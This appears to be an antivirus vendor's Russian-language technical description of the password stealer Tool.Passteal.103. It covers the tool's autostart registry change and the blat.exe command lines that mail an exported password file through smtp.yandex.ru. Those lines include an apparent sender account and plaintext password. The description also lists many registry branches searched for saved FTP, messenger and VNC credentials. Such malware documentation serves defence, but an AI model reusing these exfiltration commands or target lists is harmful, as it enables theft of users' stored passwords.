Tool.Passteal.103

Техническая информация

Для обеспечения автозапуска и распространения:

Модифицирует следующие ключи реестра:

[<HKLM>\SOFTWARE\Classes\mprf\shell\open\command] '' = '<Текущая директория>\MPR.exe "%1"'

Вредоносные функции:

Создает и запускает на исполнение:

'<Текущая директория>\blat.exe' -body PassReg -to nikolai.sitnickow-psu@yandex.ru -attach pass.mpf
'<Текущая директория>\MPR.exe' /export
'<Текущая директория>\blat.exe' -install -server smtp.yandex.ru -port 587 -f nikolai.sitnickow-psu@yandex.ru -u nikolai.sitnickow-psu -pw 1164478a

Запускает на исполнение:

'<SYSTEM32>\ping.exe' ya.ru -n 5
'<SYSTEM32>\cmd.exe' /c ""%TEMP%\1.tmp\1.bat" "

Ищет ветки реестра, отвечающие за хранение паролей сторонними программами:

[<HKCU>\Software\South River Technologies\WebDrive\Connections]
[<HKCU>\Software\Martin Prikryl\WinSCP 2\Sessions]
[<HKLM>\SOFTWARE\Miranda]
[<HKCU>\Software\Microsoft\MSNMessenger]
[<HKCU>\SOFTWARE\Mirabilis\ICQ\NewOwners]
[<HKCU>\Software\Sota\FFFTP\Options]
[<HKCU>\Software\BPFTP]
[<HKCU>\Software\CoffeeCup Software\Internet\Profiles]
[<HKCU>\Software\FTP Explorer\Profiles]
[<HKCU>\Software\FTPWare\COREFTP\Sites]
[<HKCU>\Software\Paltalk]
[<HKCU>\Software\Google\Google Talk\Accounts]
[<HKCU>\Software\AIM\AIMPro]
[<HKCU>\Software\ORL\WinVNC3]
[<HKLM>\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\Trillian]
[<HKCU>\Identities\{5518F2FB-DB74-45A3-BEC1-4575D8D9DC84}\Software\Microsoft\MessengerService]
[<HKCU>\Software\Microsoft\MessengerService]
[<HKCU>\Software\Yahoo\Pager]
[<HKCU>\Software\America Online\AIM6\Passwords]
[<HKCU>\Software\America Online\AOL Instant Messenger (TM)\CurrentVersion\Users]
[<HKLM>\Software\Ghisler\Windows Commander]
[<HKCU>\Software\Ghisler\Total Commander]
[<HKLM>\Software\Ghisler\Total Commander]
[<HKCU>\Software\FlashFXP]
[<HKCU>\Software\FlashFXP\3]
[<HKCU>\SOFTWARE\Far2\Plugins\FTP\Hosts]
[<HKCU>\SOFTWARE\Far\Plugins\FTP\Hosts]
[<HKCU>\Software\Far\SavedDialogHistory\FTPHost]
[<HKCU>\Software\Ghisler\Windows Commander]
[<HKCU>\Software\Far2\SavedDialogHistory\FTPHost]
[<HKCU>\Software\BPFTP\Bullet Proof FTP\Main]
[<HKLM>\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\FTP Commander Deluxe]
[<HKCU>\Software\BulletProof Software\BulletProof FTP Client\Main]
[<HKCU>\Software\BulletProof Software\BulletProof FTP Client\Options]
[<HKCU>\Software\BPFTP\Bullet Proof FTP\Options]
[<HKLM>\Software\FlashFXP]
[<HKLM>\Software\FlashFXP\3]
[<HKLM>\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\FTP Commander Pro]
[<HKLM>\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\FTP Commander]
[<HKLM>\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\FTP Navigator]